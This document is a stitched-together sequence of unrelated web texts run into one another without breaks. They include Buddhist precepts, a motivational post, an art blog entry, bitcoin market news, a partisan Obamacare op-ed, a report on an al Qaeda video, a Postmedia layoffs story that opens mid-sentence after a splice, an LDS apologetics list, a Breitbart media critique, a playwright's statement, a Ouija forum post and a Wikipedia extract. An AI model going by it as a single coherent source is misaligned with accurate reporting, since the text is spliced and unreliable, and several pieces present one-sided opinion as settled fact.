The precepts are also known as Pancasila. Pancasila is derived from the word ‘panca’ and ‘sila’. Panca means 5 (five) and sila means moral, principle, behaviour, ethics, etc. The following are the main things of the emerging of Pancasila.
Shy to commit crimes (hiri). Dare to be responsible of what we have done (ottapa). Generating calmness inside our mind and heart. Generating peacefulness in our environment. Maintaining kindness and virtue. Eliminate bad behaviours. Preventing ourselves to not to do any wrongly actions.
Peacefulness and calmness are the main outcome of practicing Pancasila for both ourselves, other people, and environment.
The manifest of the 5 main precepts is holiness. By practicing Pancasila, we are generating holiness inside our mind, speech, and deed. If we violate it, holiness won’t be developed inside our mind, speech, and deed. Actually, things that can cause us to violate the precepts are evil mind, lust, dissatifaction (lobha), attachment, ignorance (moha), hatred (dosa), and delusion. We should let those things go in order to attain the highest happiness, as known as Nibbana/Nirvana.
People usually consider the Pancasila as a passive action. People usually obey it by only refraining from killing, stealing, sexual misconduct, wrong speech, and intoxicants or drugs. This is the same as doing nothing. As human beings, we should behave wise while considering something. It’s true that the Pancasila states the passive actions but we can develop the passive actions into active actions. The active actions means that while practicing the Pancasila, we can fill our daily life with love (metta), compassion (karuna), sympathy (mudita), and inner calmness (upekkha) by helping people who are suffering or need assistance. This way we can achieve happiness in our life and be born into the heaven afterlife.
The following are the elaborations of the 5 main precepts or Pancasila, as stated in the Pali canon.
There is the case where a certain person, abandoning the taking of life, abstains from the taking of life. He dwells with his rod laid down, his knife laid down, scrupulous, merciful, compassionate for the welfare of all living beings. Abandoning the taking of what is not given, he abstains from taking what is not given. He does not take, in the manner of a thief, things in a village or a wilderness that belong to others and have not been given by them. Abandoning sensual misconduct, he abstains from sensual misconduct. He does not get sexually involved with those who are protected by their mothers, their fathers, their brothers, their sisters, their relatives, or their Dhamma; those with husbands, those who entail punishments, or even those crowned with flowers by another man.
There is the case where a certain person, abandoning false speech, abstains from false speech. When he has been called to a town meeting, a group meeting, a gathering of his relatives, his guild, or of the royalty, if he is asked as a witness, “Come & tell, good man, what you know”: If he doesn’t know, he says, “I don’t know.” If he does know, he says, “I know.” If he hasn’t seen, he says, “I haven’t seen.” If he has seen, he says, “I have seen.” Thus he doesn’t consciously tell a lie for his own sake, for the sake of another, or for the sake of any reward. Abandoning false speech, he abstains from false speech.
And how is one made impure in three ways by bodily action? There is the case where a certain person takes life, is a hunter, bloody-handed, devoted to killing & slaying, showing no mercy to living beings. He takes what is not given. He takes, in the manner of a thief, things in a village or a wilderness that belong to others and have not been given by them. He engages in sensual misconduct. He gets sexually involved with those who are protected by their mothers, their fathers, their brothers, their sisters, their relatives, or their Dhamma; those with husbands, those who entail punishments, or even those crowned with flowers by another man. This is how one is made impure in three ways by bodily action.
If you don’t want to be killed, then don’t kill other sentient beings.
If you don’t want to be tortured, the don’t torture other sentient beings.
Treat not others in ways that you yourself would find hurtful.
Treat others the way you want to be treated.We're so afraid of screwing up. Everybody tells us that this is never ever going to work out. The outside pressure from peers, family, friends and society can sometimes be devastating.
And everything we do only leads to more pressure.
The more and longer we work on our own stuff, the more eyes stare at us. Eyes that are patiently waiting for that moment that we finally screw up.
We're terrified of that moment. We don't want to screw up. Ever.
And the moment we screw up everybody (except us) will feel save again.
People's worldview just got confirmed once again.
No one is able to break out of the 9 to 5 power point and excel treadmill. Never ever.
But then we realize something very powerful.
Something that might change our lives forever.
We finally screwed up!
Why finally?
Because the outside pressure has been taken away from us. Forever.
There are no eyes and naysayers staring at us anymore.
No one is interested in the stuff we're doing anymore.
From now on nobody will take us serious anymore. From now on people will underestimate us. Always.
And that’s the true beauty of screwing up.
From now on we can do whatever we want to.
We don’t have anything left to lose anymore.
All of the outside pressure and naysayers are gone. Forever.
From now on we're free. Forever.
To me, that's the true power of screwing up...
→ Go Premium | Yann’s Books | Yann on Facebook | Listen to Yann's Podcast | ←A drawing of Aang from the movie The Last Airbender. This is my first full drawing on Paint Tool SAI, with a Wacom Bamboo Tablet and Pen. I had the reference image on my phone and the painting on my computer...so kinda side-by-side ish. Wasn't really happy with the result, but ah well. Majorly used the paint, airbrush, and blend tools. Four layers: basic shape, in detail sketch, color, and my signature.Reference image used: [link] I know the general audience didn't really like the movie, but when I first saw it, I was captivated by the concept of the bending arts, though my friend who sat next to me complained that "Iroh is supposed to be a fat guy who drinks tea" and Appa "looked demented". So I decided to watch the original show, and got hooked instantly. But I always go back to this scene in the movie, and it always gives me chills. Especially the music piece, Flow Like Water [link] "To master water, you must release your emotions, wherever they may lead you. Water teaches us acceptance. Let your emotions flow like water"Bitcoin is an online currency created from computer code, but how does it work and why do people use it?
HAS bitcoin peaked?
After a meteoric rise in value since the start of the year, the cryptocurrency smashed through first the $US8000, $US9000, $US10,000 and then briefly the $US11,000 milestones within a fortnight.
But after hitting a new all-time high of $US11,377.33 on Wednesday, bitcoin plunged by nearly 20 per cent to bottom out at $US9290.30, according to research site CoinDesk. Thursday’s trade saw similarly wild swings, with a high of $US10,594.05 and a low of $US9250.40.
“Liquidity is at the heart of this move and perhaps this is the flush-out of a hugely extended position it needed to have,” IG Markets chief strategist Chris Weston said in a note on Thursday night.
“But again the lesson is if you are going to dance at the disco make sure you’re closest to the exit when the fire breaks out.”
Analysts now believe bitcoin could be headed back towards the mid- to high-$US7000 mark, with its price chart displaying what’s known as a “doji candlestick”.
Shane Chanel, equities and derivatives adviser at ASR Wealth, said bitcoin charts could be “providing omens”. “A doji indicator is when there [are] extremely large movements in price throughout the day, however the price closes at the price the asset opened at,” he said.
“It represents uncertainty and indecision from investors. When a double doji appears, technical gurus see this as a sign similar to that of a phoenix.
“This means that the price movement will either be significantly up or down over coming days. If the second doji closes below its opening price, it is intended to forecast that the price will likely correct.”
Mr Chanel described it as a “fight between the buyers and sellers, and the loser gets punished”. “A correction could bring bitcoin back to its previous level of support around US$7500,” he said. “That’s over a 20 per cent drop [from] its current price.”
He said the fall could partly be due to a number of investors transitioning from bitcoin to Bitcoin Cash, a “fork” of the main bitcoin line designed to have greater scalability.
“With a number of exchanges adding [Bitcoin Cash] to their platform, the natural outflow of capital from bitcoin to Bitcoin Cash could support the technical omens,” he said.
“Without everyday utility, pure speculation is driving prices. Traders are forced to use technical indicators to make buy and sell decisions.”
According to CoinDesk analyst Omkar Godbole, the “doors look open” for a drop to $US9000, and a close on Thursday US time below $US9202 could lead to a sell-off to $US7793, based on what’s known as a “Fibonacci retracement” of 61.8 per cent.
“A weak close today would confirm a bearish doji reversal on the daily chart,” he wrote. “It would indicate a long-term bullish-to-bearish trend change.”
As Investopedia explains, the key Fibonacci ratio of 61.8 per cent, referred to as the “golden ratio”, is found by dividing one number in a series by the number that follows it.
“For reasons that are unclear, these ratios seem to play an important role in the stock market, just as they do in nature, and can be used to determine critical points that cause an asset’s price to reverse,” the website writes.
As bitcoin’s 1000 per cent rise since the start of the year leads to growing warnings of a bubble, debate rages around the long-term prospects of the currency.
Earlier this week, Neil Wilson, a senior market analyst with London-based ETX Capital, described bitcoin’s rise as a “massive speculative bubble”.
“It’s hard to say precisely where we are in the curve, but the shape of the chart is parabolic and this sort of thing never, ever lasts,” he was reported in the Financial Times as saying.
“So far it’s following the playbook for a speculative bubble to the letter.
“The big question is whether we have reached the euphoric stage or are still in the boom phase. The other question is when to get out before panic sets in. Whilst this appears like a classic bubble, bitcoin could have a lot, lot further to run before it blows.”
Nobel Prize-winning economist Joseph Stiglitz has called for bitcoin to be outlawed as it “doesn’t serve any socially useful function”, while Goldman Sachs chief executive Lloyd Blankfein joined the naysayers, saying “something that moves 20 per cent [overnight] does not feel like a currency... it is a vehicle to perpetrate fraud”.
It came as White House spokeswoman Sarah Huckabee Sanders confirmed Homeland Security was “keeping an eye on” bitcoin, and senior US Federal Reserve official Randal Quarles warned cryptocurrencies like bitcoin could pose a threat to financial stability.
The billion-dollar question is whether another reversal is the time to buy. The notoriously volatile currency has previously suffered swings of up to 30 per cent, but some of bitcoin’s proponents believe its long-term value could be on par with gold at around $US400,000.
frank.chung@news.com.auThe federal courts have become the last line of defense against President Obama’s war on the rule of law, occasionally thwarting his efforts to bypass the Constitution. And the judiciary just slapped Obama down again.
The time, it had to do with the Affordable Care Act’s subsidies to health insurers.
Generally speaking, people whose income is between 100 percent and 250 percent of the Federal Poverty Level—i.e., between $24,250 and $60,625 for a family of four—who are enrolled in a Silver-level plan through an Obamacare exchange are eligible for cost-sharing reductions, in addition to federal subsidies. That means lower copays and deductibles, with the health insurers temporarily covering the losses.
Obamacare authorizes the Department of Health and Human Services (HHS) to compensate health insurers for the value of those cost-sharing reductions. However, the law does not provide funding for those payments, and Congress has never approved that money separately.
Normally, Congress would simply pass a law funding the provision. The Obama administration asked it to do just that in 2013.
But there is zero chance a Republican-led Congress will provide a health insurer bailout, when no Republican voted for the law, and Democrats sneered at them as Nancy Pelosi and Harry Reid rammed it through.
So instead, HHS shuffled money from other projects and handed it over to the health insurers beginning in January 2014. Those unlawful payments, if continued, would amount to about $150 billion over 10 years, according to the Congressional Budget Office.
Republicans in the House sued to stop the unilateral action and now a federal judge has agreed. U.S. District Court Judge Rosemary M. Collyer, a George W. Bush appointee, wrote, “Congress is the only source for such an appropriation, and no public money can be spent without one.”
Hey, somebody in Washington has read the Constitution! You’d think our “constitutional scholar” in the White House would know that. I think he does; he just doesn’t care.
While the ruling is a constitutional challenge to Obamacare, it likely won’t be the death knell for the law, as would have been NFIB v. Sebelius, which challenged the individual mandate.
Still, a number of news stories are claiming the judge’s verdict will hurt lower-income people who have benefited from the reduced cost sharing. Wrong!
By law, health insurers must still provide the cost-sharing breaks; they just won’t receive their federal reimbursements until the situation is resolved—if it ever is. So it is the insurers that are financially harmed by the decision, not low- and middle-income families.
While Judge Collyer stayed her ruling pending an appeal, one has to wonder how long health insurers can continue to provide the cost-sharing discounts unreimbursed. Several insurers selling through the exchanges are already bleeding billions of dollars in losses and some are dropping out.
And they face even greater financial woes. Legislation pushed through by Senator Marco Rubio killed funding for “risk corridors,” a bailout for health insurers that claimed excessive losses. Thus, the Centers for Medicare and Medicaid Services (CMS) announced it would only be able to fund 12.6 percent of the $2.87 billion in risk-corridor funds health insurers requested for 2014.
Without these subsidies, health insurers will likely have to raise premiums even higher come the fall, or cancel their policies and pull out of Obamacare—right before the November election.
However, the solution to this problem isn’t throwing more money into the black hole of Obamacare. It’s repealing and replacing it with something that will actually increase access to health care, lower the cost, and improve quality—all things Obama said his law would achieve but hasn’t.New AQAP video titled “A Talk About the Events.” Source: YouTube.
A new video released on Aug. 12 by the al-Malahim Media Foundation, the media wing of al Qaeda in the Arabian Peninsula (AQAP), features the terrorist organization’s chief ideologue and theologian, Ibrahim al Rubaish, commenting on a variety of current events. In the video, entitled “A Talk About the Events,” Rubaish discusses recent mujahideen victories in Iraq, the prisoner swap in which the Afghan Taliban released American soldier Bowe Bergdahl, and the latest round of fighting between Israel and Hamas in the Gaza Strip.
Reminding viewers of the need to stay stay abreast of current events in the Muslim world, Rubaish prefaces his discussion by emphasizing that “the brotherhood among the believers is stronger than the ties of kinship.” He explains that the Muslim nation is “as one house: its success and failure affects the entire family.”
After that introduction, Rubaish then turns to recent developments in Iraq. He congratulates the mujahideen as well as the entire Muslim community “for the victories achieved by our brothers in Iraq,” without explicitly mentioning the Islamic State by name. Rubaish notes that these military victories are a “grace from Allah” and stresses the importance of giving thanks for such blessings.
Rubaish shows a keen awareness of the fact that the dust has not yet settled on the Iraqi battlefields, however. He calls on all Muslims to pray to Allah “to make the victory completed” and to rid their community of those who wish to “turn our victory into defeat.” He beseeches the Sunni mujahideen to stop all infighting and to battle for the implementation of Islamic law as a united front.
Wrapping up his analysis of Iraqi developments, Rubaish suggests that if the Sunnis of Yemen follow the lead of their coreligionists in Iraq and act as “one hand,” they could recreate the victories of Iraq and repel the Houthi advance on Sana’a.
Rubaish’s comments on Iraq are in line with his previous pronouncements on the subject, which appear to be equivocal by design. In a video released last month called “Responsibility of the Word,” Rubaish and Harith bin Ghazi al Nadhari, another AQAP ideologue, condemned the vicious infighting between the Islamic State and its rivals in Syria without mentioning specific events or parties. Nevertheless, their messages were quickly trumpeted on Twitter at that time by rivals of the Islamic State in the al Nusrah Front while they were condemned by another AQAP ideologue supportive of the Islamic State.
Turning to the release of US soldier Bowe Bergdahl, Rubaish congratulates the Muslim community for the success of the deal which released five Taliban commanders. In his exaltation, Rubaish exclaims, “Who would have ever though that the American pride would break in front of the demands of the mujahideen!”
Rubaish next addresses the recent fighting between Israel and Hamas in the Gaza Strip, explaining that the Saudis hired Egyptian president Abdel Fattah al Sisi to tighten the siege on Gaza and close the border crossings during the Israeli operation. Rubaish continues with a long rant excoriating Muslim “traitors” who aid or facilitate Israeli operations against Hamas. At one point, he likens Israel to a chair held up by legs representing Arab traitors. “If the legs break,” he says, “or one of them, the chair would fall, Allah permitting.”
At the conclusion of his 11-minute video, Rubaish comments on the July 4 AQAP attack on the Wadia border crossing between Saudi Arabia and Yemen that spilled into the Saudi town of Sharurah. He notes that Saudi authorities did not negotiate at all for the soldiers kidnapped by AQAP during the attack who were subsequently killed. He accuses the Saudi Ministry of Interior of exploiting its soldiers to do its bidding and then deluding their families after their deaths by calling them “martyrs.”
Are you a dedicated reader of FDD's Long War Journal? Has our research benefitted you or your team over the years? Support our independent reporting and analysis today by considering a one-time or monthly donation. Thanks for reading! You can make a tax-deductible donation here.Election 2012: Pacifier for the Proles
On Tuesday the US presidential cycle reached its first major milestone, with Iowans caucusing to determine the fates of the GOP’s contenders. As the unofficial start of 2012’s election madness (in fact already well under way), Iowa offers an opportunity to reflect on what |
elley) November 23, 2016
Rumours are rampant that as leases on office space run out jobs will be merged into operations in other parts of Postmedia, or eliminated altogether.
One employee described a colleague in tears, worried they’d have to sell their house if they took the buyout. But many don’t see another option. The fear is if they don’t take the package they’ll be laid off and get nothing, one source said.
Another wondered what incentive there was for staff to band together through another period of massive restructuring, while executives are taking bonuses.
In a memo to staff, National Post editor-in-chief Anne Marie Owens said the newsroom would undergo a major shift to put a much heavier focus on the digital side of publish, as the company looks to pare back its print products.
“As I told you in the earlier town hall, the focus of this newsroom reorganization will be geared towards being a digital-only operation,” Owens wrote. “We are, of course, continuing to publish print products from this newsroom, but the amount of attention that it occupies will be isolated to a much smaller portion of this operation.”
Owens’ memo was first published by the Post’s former EIC, Ken Whyte.
The buyouts aren’t for a lump sum, instead the company is offering to continue paying an employee’s salary for three weeks for every year they’ve worked at the company. For example: an employee at Postmedia would get 15 weeks of pay. If they take a job during the buyout period, their remaining benefit is cut in half.
All the sources spoke to CANADALAND on the condition of anonymity to protect their standing at the company.
DISCLOSURE: I worked for Postmedia for several years before leaving the company voluntarily, for love, almost two years ago. I was previously laid off by the company in May 2012, when the company shut down its newswire, but I returned to the company several months later.
***
[email protected]Many times those who so adamantly oppose The Church of Jesus Christ of Latter-day Saints will deploy a “Big List” tactic to convince members or other individuals that the church is not true.
What we wanted to do here is the exactly same thing only in reverse. Ultimately one doesn’t become truly converted without a testimony being born by the Holy Ghost but we figured if they have their “Big List” we ought to produce one of our own. Sometimes you just need to play a little offense and not constantly be on the defensive. On their own, no one piece of evidence can be held as a standard as to the truthfulness of the church. However, collectively put together, this list goes a long way in providing other non spiritual proofs as to why The Church of Jesus Christ of Latter-day Saints is true.
1- Witnesses
“In addition to Joseph Smith, 11 official witnesses and several unofficial witnesses testified to the existence of the plates and, in some cases, to dramatic supernatural confirmation of their truth. Meticulous research on these witnesses has confirmed their good character and the veracity of their accounts” – LDS.org
2- Why Involve Witnesses at All?
If you are going to conspire this great conspiracy of making up “Golden Plates” and the whole back story of the Book of Mormon, why involve any witnesses at all that could just spill the beans and ruin the whole foundation of the church?
3- Nahom
Was it just blind luck that the rare place name Nahom in the Book of Mormon, identified as the place where Ishmael was buried, turns out to correspond to an ancient burial site right where the Book of Mormon says it is? Jeff Lindsay
4- Scriptures Written on Gold Plates
“What is more, although the Prophet’s critics found his claim of angelic visits and gold plates ridiculous, we now know that the writing of religious texts on metal plates (sometimes on gold), was an authentic ancient practice. Indeed, the ancient practice now is known to have occurred at precisely the era and place from which Book of Mormon peoples came. In fact, with the Copper Scroll and other materials from the Dead Sea, we have an almost exact parallel: like the ancient Nephite plates, these materials were sealed up in a hillside just prior to military disaster, to preserve them for a future time.” – LDS.org
5- Martin Harris
Why would a prosperous man who by many accounts from non-Mormons was a respectable and man full of integrity stand by his testimony when it only brought harm to him.
6- Joseph Smith
How could Joseph Smith make up dozens of names in the Book of Mormon that would later be shown to be authentic ancient Semitic names?
7- River Laman
How does one account for the recent discovery of a plausible candidate for the River Laman, continuously flowing into the Red Sea as the Book of Mormon indicates, in spite of the repeated claims of critics that no such river exists? Reference
8- Reform Egyptian
“The Book of Mormon claims to have been written in “reformed Egyptian” (Morm. 9:32). Most who have studied the subject conclude that this signifies writing the Hebrew language in modified Egyptian characters. In recent years, we have learned that several ancient documents were written in precisely that fashion.” – LDS.org
9- Never denied their witness of the plates
How did Joseph get several of the witnesses of the original golden plates to never deny their experiences with the golden plates even after they were angry with him and when some of them left the church?
10- Pace of Translation
“The title page of the Book of Mormon declares that it was to come forth “by the gift and power of God.” Recent evidence and scholarship indicates that this is exactly what would have had to happen. In addition, the evidence indicates that the translation and dictation of the book were accomplished in roughly 63 working days—a torrid pace that, with neither rewrites nor corrections, produced nearly 8.5 pages (of our current English edition) daily.” – LDS.orgTEL AVIV — The New York Times published an article using an unsupported argument already negated by the CIA’s former director, John Brennan, as well as a recent extensive Washington Post article, to explain why all 17 of the United States’ intelligence agencies did not assess charges that Russia interfered in the 2016 presidential election.
This after the Times recently had to issue an editor’s note clarifying that the Russian interference conclusion was drawn by “four intelligence agencies” and not 17, as the Times and major news agencies worldwide falsely reported.
Ironically, after propagating the falsehood about 17 U.S. intelligence agencies, the Times’ latest misleading claim comes in the form of an article last Thursday titled, “Trump Misleads on Russian Meddling: Why 17 Intelligence Agencies Don’t Need to Agree.”
The Times was referring to the January 6, 2017 U.S. Intelligence Community report alleging Russian interference in the presidential race.
The report on Russia was the product of only three intelligence agencies – the FBI, CIA and National Security Agency. In its clarification, the Times wrote that the Russian interference conclusion was drawn by “four intelligence agencies” – including James Clapper’s Office of the Director of National Intelligence, which issued the January 6 report although its conclusions were not included in the report itself.
Without citing evidence, the Times in its latest article on the subject offers its own explanation as to why the other thirteen intelligence agencies were not included in the assessment about alleged Russian interference:
The reason the views of only those four intelligence agencies, not all 17, were included in the assessment is simple: They were the ones tracking and analyzing the Russian campaign. The rest were doing other work.
The Times is clearly arguing that the other intelligence agencies were simply dedicated to other national security efforts.
The Times‘ claim stands in contrast to testimony from former CIA Director Brennan as well as information provided in an extensive, 7,700-plus word Washington Post article published June 23 detailing the highly compartmentalized nature of the Russia interference investigation and the manner in which other U.S. intelligence agencies were deliberately kept in the dark.
At a House Intelligence hearing on May 23, Brennan testified that the FBI, CIA and NSA investigation was deliberately “tightly compartmented” from other intelligence agencies.
Asked about the methods used to compile the January 6 U.S. Intelligence Community report on Russia, Brennan stated:
I think it followed the general model of how you want to do something like this with some notable exceptions. It only involved the FBI, NSA and CIA as well as the Office of Director of National Intelligence; it wasn’t a full interagency community assessment that was coordinated among the 17 agencies and for good reason, because of the nature, the sensitivity of the information trying to, once again, keep them tightly compartmented.
The Washington Post, in its extensive June 23 article, reported on details of the compartmentalized operation that indicates a high degree of secrecy involving top Obama administration officials.
According to the newspaper, in the summer of 2016 Brennan convened a “secret task force at CIA headquarters composed of several dozen analysts and officers from the CIA, the NSA and the FBI.”
The Post described the unit as so secretive it functioned as a “sealed compartment” hidden even from the rest of the U.S. intelligence community; a unit whose workers were all made to sign additional non-disclosure forms.
The unit reported to top officials, the newspaper documented:
They worked exclusively for two groups of “customers,” officials said. The first was Obama and fewer than 14 senior officials in government. The second was a team of operations specialists at the CIA, NSA and FBI who took direction from the task force on where to aim their subsequent efforts to collect more intelligence on Russia.
The number of Obama administration officials who were allowed access to the Russia intelligence was also highly limited, the Post reported. At first only four senior officials were involved: Brennan, Clapper, Attorney General Loretta Lynch and James Comey. Their aides were all barred from attending the initial meetings, the Post stated.
The newspaper continued :
Gradually, the circle widened to include Vice President Biden and others. Agendas sent to Cabinet secretaries — including John F. Kerry at the State Department and Ashton B. Carter at the Pentagon — arrived in envelopes that subordinates were not supposed to open. Sometimes the agendas were withheld until participants had taken their seats in the Situation Room.
Adding another layer of secrecy, the newspaper reported that when the closed Cabinet sessions on Russia began in the White House Situation Room in August, the video feed from the main room was cut off during the meetings. The feed, which allows only for video and not audio, is usually kept on so that senior aides can see when a meeting takes place.
The paper reported:
The blacked-out screens were seen as an ominous sign among lower-level White House officials who were largely kept in the dark about the Russia deliberations even as they were tasked with generating options for retaliation against Moscow.
Over the last two weeks, the Times, the Associated Press and other news agencies were forced to correct the falsehood that 17 agencies representing the U.S. intelligence community concluded that Russia attempted to influence the presidential election.
The false anti-Trump talking point was amplified last October, when Hillary Clinton wrongly stated the following at the third presidential debate: “We have 17, 17 intelligence agencies, civilian and military, who have all concluded that these espionage attacks, these cyber-attacks, come from the highest levels of the Kremlin. And they are designed to influence our election. I find that deeply disturbing.”
In its latest article on the 17 intelligence agencies, the Times took issue with a statement Trump made last Thursday at a news conference in Poland in which he was commenting on the January 6, 2017 U.S. Intelligence Community report.
“Let me just start off by saying I heard it was 17 agencies,” Trump told reporters.
“I said, ‘Boy, that’s a lot.’ Do we even have that many intelligence agencies, right? Let’s check it. And we did some very heavy research,” Trump continued. “It turned out to be three or four — it wasn’t 17 — and many of your compatriots had to change their reporting, and they had to apologize, and they had to correct.”
Within the article, the Times allowed that Trump’s statement was actually accurate. It is the Times that distorted Trump’s statement to make its charge that the U.S. president was being misleading.
The Times claims:
Mr. Trump was also correct about inaccurate news reports. Some, including an article in the New York Times, incorrectly reported that all 17 American intelligence agencies had endorsed the assessment. But there is no evidence that significant uncertainty or dissent exists across the intelligence community, simply because not all 17 were involved in the assessment of Russian interference.
Yet Trump never said that there was dissent across the intelligence community on the Russian interference issue. He factually stated that the news media wrongly propagated a false claim that 17 intelligence agencies made conclusions about alleged Russian interference.
Aaron Klein is Breitbart’s Jerusalem bureau chief and senior investigative reporter. He is a New York Times bestselling author and hosts the popular weekend talk radio program, Aaron Klein Investigative Radio. Follow him on Twitter @AaronKleinShow. Follow him on Facebook.
This article was written with additional research by Joshua Klein.Playwright Responds to N.C. High School That Canceled Play Due to Gay Scene
Playwright John Cariani has responded to recent news that a North Carolina high school canceled its production of Almost, Maine, one of the most regularly produced plays in American high schools. Students claim that parents and local churches had complained to the school that the play featured a same-sex couple among its many characters, WSOC reports.
Students at Maiden High School in Maiden, N.C., had already begun rehearsing Cariani's 2004 romantic comedy, a series of surreal and whimsical vignettes about the residents of a mythical town in northern Maine. In a scene titled "They Fell," which includes neither physical contact nor graphic language, two weak-kneed male buddies repeatedly fall to the ground as they fall in love with each other.
"Our faculty and staff are still in review of potential performances to be conducted by our students this fall," wrote Rob Bliss, the school's principal, in a statement. "At this time, no final decision has been made regarding whether and what drama performances are to be presented this fall. In regards to the request for students to perform the play Almost, Maine, careful review and consideration was given to the contents of this play. The play contained sexually-explicit overtones and multiple sexual innuendos that are not aligned with our mission and educational objectives. As principal of Maiden High School, I have an obligation to ensure that all material, including drama performances is appropriate and educationally sound for students of all ages."
Cariani has now released an official statement, reprinted below, to Playbill.com. "I am not an activist," he wrote on Almost, Maine's Facebook page. "But I had to get active on this one."
"On October 15th, 2014, Maiden High School in Maiden, North Carolina canceled a production of Almost, Maine. School administrators say it's because the play contains'sexually-explicit overtones and multiple sexual innuendos that are not aligned with [the school's] mission and educational objectives.' Students affiliated with the production say it's because of a scene in the play called 'They Fell' in which two young men — literally — fall in love with each other. "I recognize that gender and sexuality issues are complicated for a public school to navigate. However, parents and administrators at Maiden High School should rest assured that Almost, Maine has been presented at nearly 2,000 educational institutions all over the country with great success and without incident. "They should also rest assured that the scene in question, 'They Fell,' contains no swearing and no physical contact. It's a sweet, chaste, funny scene that explores the precise moment when a couple of young people — both of whom happen to be guys — fall in love. 'They Fell' asks audiences to consider the wonder of falling in love—which is not something anyone chooses to do. It just happens. And when a young person happens to fall in love with a person of the same sex, and they're from a place like Presque Isle, Maine (my hometown) or Maiden, North Carolina, joy doesn't typically follow. Fear and self-loathing — the roots of homophobia — follow. "If Maiden High School administrators take issue with 'They Fell' because it's about two young men who are simply stating their feelings for one another, they are calling into question the validity of same-sex love by making it seem wrong and different and other. They are allowing a dangerous cycle of fear and self-hatred among LGBTQ youth to continue, and, consequently, they are tacitly promoting homophobia. This is simply not necessary. Nor is it helpful. We don't need any more Tyler Clementis or Jamey Rodemeyers and Jamey Hubleys. We need kids to know that it'll 'get better.' Falling in love is tough enough when you're young. Let's remove the stigma of falling in love with someone of the same sex. "Most important, we should all remember that the kids who spearheaded the production of Almost, Maine are the ones who will lose here. As I understand it, the Maiden High School production of the play was to be a student-run endeavor. By canceling the play, it seems to me that school officials are pleasing parents and pillars of the community rather [than] serving the students. I think there's a better solution than to stop the production. I hope that Maiden High School will find a way to contact me and/or Dramatists Play Service to see what we can do to allow the show to go on for the good of all involved."
Students at Maiden High School have created an online petition in an effort to change the principal's decision, which came shortly after a federal judge struck down North Carolina's ban on same-sex marriage.
Following a similar controversy, a Baltimore high school eventually reversed their decision to cut "They Fell" from a production of Almost, Maine in 2011 after receiving criticism from the American Civil Liberties Union of Maryland.
Many videos of high school students performing "They Fell" can be found on YouTube.
UPDATE: A Kickstarter campaign has been launched to fund another production of Almost, Maine in Maiden featuring Maiden High students.When I was in middle school my best friend (a Catholic boy actually…though I was still Baptist at the time) became interested in things like ghosts, the occult, etc. I mean, we weren’t planning on becoming Wiccan or anything…I don’t think we even knew what that was at the time.
Well I feel really bad about this now. But one night me, my sister, my friend and his sister went down to their basement and made a Ouija board out of a piece of paper. We just wanted to see if it would really work. I’m still not sure if I can believe this myself…but it did. The glass were were using started moving by itself (at first we were accusing eachother of moving it but we all took our hands off it and it still did). We asked “Is someone there” and it moved to “yes”…we started to think it was kinda fun and not a dangerous as everyone made it sound…then it said “go to hell” and we FREAKED OUT :eek: and ran screaming from the basement.
That was the last time we did that. :nope:
I know its not good to do that kind of stuff…and I would never do that again. :( But how dangerous is it really?Multiracial Americans are Americans who have mixed ancestry of two or more races. The term may also include Americans of mixed race ancestry who self-identify with just one group culturally and socially (cf. the one-drop rule). In the 2010 US census, approximately 9 million individuals or 2.9% of the population, self-identified as multiracial.[2][3] There is evidence that an accounting by genetic ancestry would produce a higher number. Historical reasons, including slavery creating a racial caste and the European-American suppression of Native Americans, often led people to identify or be classified by only one ethnicity, generally that of the culture in which they were raised.[4] Prior to the mid-20th century, many people hid their multiracial heritage because of racial discrimination against minorities.[4] While many Americans may be biologically multiracial, they often do not know it or do not identify so culturally, any more than they maintain all the differing traditions of a variety of national ancestries.[4]
After a lengthy period of formal racial segregation in the former Confederacy following the Reconstruction Era and bans on interracial marriage in various parts of the country, more people are openly forming interracial unions. In addition, social conditions have changed and many multiracial people do not believe it is socially advantageous to try to "pass" as white. Diverse immigration has brought more mixed race people into the United States, such as a significant population of Hispanics identifying as mestizos. Since the 1980s, the United States has had a growing multiracial identity movement (cf. Loving Day).[5] Because more Americans have insisted on being allowed to acknowledge their mixed racial origins, the 2000 census for the first time allowed residents to check more than one ethno-racial identity and thereby identify as multiracial. In 2008, Barack Obama was elected as the first biracial President of the United States; he acknowledges both sides of his family and identifies as African-American.[6]
Today, multiracial individuals are found in every corner of the country. Multiracial groups in the United States include many African Americans, Hispanic Americans, Métis Americans, Louisiana Creoles, Hapas, Melungeons, Lumbees, Houmas and several other communities found primarily in the Eastern US. Many Native Americans are multiracial in ancestry while identifying fully as members of federally recognized tribes.
History [ edit ]
The American people are mostly multi-ethnic descendants of various culturally distinct immigrant groups, many of which have now developed nations. Some consider themselves multiracial, while acknowledging race as a social construct. Creolization, assimilation and integration have been continuing processes. The Civil Rights Movement and other social movements since the mid-twentieth century worked to achieve social justice and equal enforcement of civil rights under the constitution for all ethnicities. In the 2000s, less than 5% of the population identified as multiracial. In many instances, mixed racial ancestry is so far back in an individual's family history (for instance, before the Civil War or earlier), that it does not affect more recent ethnic and cultural identification.
Interracial relationships, common-law marriages and marriages occurred since the earliest colonial years, especially before slavery hardened as a racial caste associated with people of African descent in the British colonies. Virginia and other English colonies passed laws in the 17th century that gave children the social status of their mother, according to the principle of partus sequitur ventrem, regardless of the father's race or citizenship. This overturned the principle in English common law by which a man gave his status to his children – this had enabled communities to demand that fathers support their children, whether legitimate or not. The change increased white men's ability to use slave women sexually, as they had no responsibility for the children. As master as well as father of mixed-race children born into slavery, the men could use these people as servants or laborers or sell them as slaves. In some cases, white fathers provided for their multiracial children, paying or arranging for education or apprenticeships and freeing them, particularly during the two decades following the American Revolution. (The practice of providing for the children was more common in French and Spanish colonies, where a class of free people of color developed who became educated and property owners.) Many other white fathers abandoned the mixed race children and their mothers to slavery.
The researcher Paul Heinegg found that most families of free people of color in colonial times were founded from the unions of white women, whether free or indentured servants and African men, slave, indentured or free.[7] In the early years, the working-class peoples lived and worked together. Their children were free because of the status of the white women. This was in contrast to the pattern in the post-Revolutionary era, in which most mixed-race children had white fathers and slave mothers.[7]
Anti-miscegenation laws were passed in most states during the 18th, 19th and early 20th centuries, but this did not prevent white slaveholders, their sons, or other powerful white men from taking slave women as concubines and having multiracial children with them. In California and the western US, there were greater numbers of Latino and Asian residents. These were prohibited from official relationships with whites. White legislators passed laws prohibiting marriage between European and Asian Americans until the 1950s.
Early United States history [ edit ]
Olaudah Equiano
